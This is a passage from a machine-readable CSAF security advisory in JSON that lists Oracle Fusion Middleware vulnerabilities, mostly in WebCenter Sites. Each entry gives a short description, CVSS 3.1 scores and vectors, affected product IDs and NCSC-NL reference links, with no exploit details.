"CSAFPID-19"
]
}
],
"title": "CVE-2026-60995"
},
{
"cve": "CVE-2026-60996",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Identity Manager Connector versions 12.2.1.4.0 and 14.1.2.1.0 allows a highly privileged attacker with HTTPS network access to unauthorizedly create, delete, or modify critical data, with a CVSS 3.1 score of 8.7.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60996 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60996.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.7,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60996"
},
{
"cve": "CVE-2026-60998",
"notes": [
{
"category": "description",
"text": "A high-privileged attacker with network access via LDAP can exploit a vulnerability in Oracle Identity Manager Connector for Oracle Fusion Middleware (versions 12.2.1.4.0 and 14.1.2.1.0) to compromise confidentiality, integrity, and availability, with a CVSS 3.1 base score of 8.0.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60998 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60998.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.0,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60998"
},
{
"cve": "CVE-2026-61001",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Web Services Manager versions 12.2.1.4.0 and 14.1.2.0.0 allows low-privileged attackers with HTTP network access to create, delete, or modify critical data, with a CVSS 3.1 base score of 9.6.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61001 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61001.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.6,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61001"
},
{
"cve": "CVE-2026-61002",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle SOA Suite\u0027s B2B Engine (versions 12.2.1.4.0 and 14.1.2.0.0) allows a low-privileged attacker with HTTP network access to potentially compromise system confidentiality, integrity, and availability, rated CVSS 8.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61002 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61002.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61002"
},
{
"cve": "CVE-2026-61003",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Managed File Transfer versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged network attacker to fully compromise the system, with a CVSS 3.1 base score of 9.9.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61003 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61003.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.9,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61003"
},
{
"cve": "CVE-2026-61007",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to gain unauthorized access to sensitive data, rated with a CVSS 3.1 base score of 7.5.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61007 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61007.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61007"
},
{
"cve": "CVE-2026-61008",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to create, delete, or modify critical or all accessible data, rated CVSS 3.1 base score 9.1.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61008 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61008.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.1,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61008"
},
{
"cve": "CVE-2026-61011",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to modify or delete data and cause partial denial of service, rated CVSS 3.1 base score 8.2.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61011 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61011.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.2,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61011"
},
{
"cve": "CVE-2026-61016",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to modify or delete data and cause partial denial of service, rated CVSS 3.1 base score 8.2.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61016 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61016.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.2,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61016"
},
{
"cve": "CVE-2026-61017",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with HTTP network access to fully compromise the system, with a CVSS 3.1 base score of 8.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61017 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61017.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61017"
},
{
"cve": "CVE-2026-61018",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated remote attackers to fully compromise the system via HTTP, with a CVSS 3.1 base score of 9.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61018 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61018.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61018"
},
{
"cve": "CVE-2026-61021",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with HTTP network access to fully compromise the system, with a CVSS score of 9.9.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61021 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61021.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.9,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61021"
},
{
"cve": "CVE-2026-61022",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with HTTP network access to fully compromise the system, with a CVSS 3.1 base score of 8.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61022 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61022.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61022"
},
{
"cve": "CVE-2026-61029",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated remote attackers to compromise system confidentiality, integrity, and availability via HTTP, with a CVSS score of 9.0.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61029 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61029.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.0,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61029"
},
{
"cve": "CVE-2026-61032",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with HTTP network access to fully compromise the system, with a CVSS 3.1 base score of 8.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61032 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61032.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61032"
},
{
"cve": "CVE-2026-61033",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to gain unauthorized data access, modify data, or cause partial denial of service, rated CVSS 3.1 8.6.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61033 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61033.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.6,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61033"
},
{
"cve": "CVE-2026-61034",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows a highly privileged attacker with HTTP network access to potentially compromise system confidentiality, integrity, and availability, rated CVSS 3.1 base score 9.1.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61034 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61034.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.1,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61034"
},
{
"cve": "CVE-2026-61038",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to gain unauthorized access or modify sensitive data, rated CVSS 3.1 base score 8.2.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61038 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61038.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.2,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61038"
},
{
"cve": "CVE-2026-61040",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with HTTP network access to fully compromise the system, with a CVSS 3.1 base score of 8.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
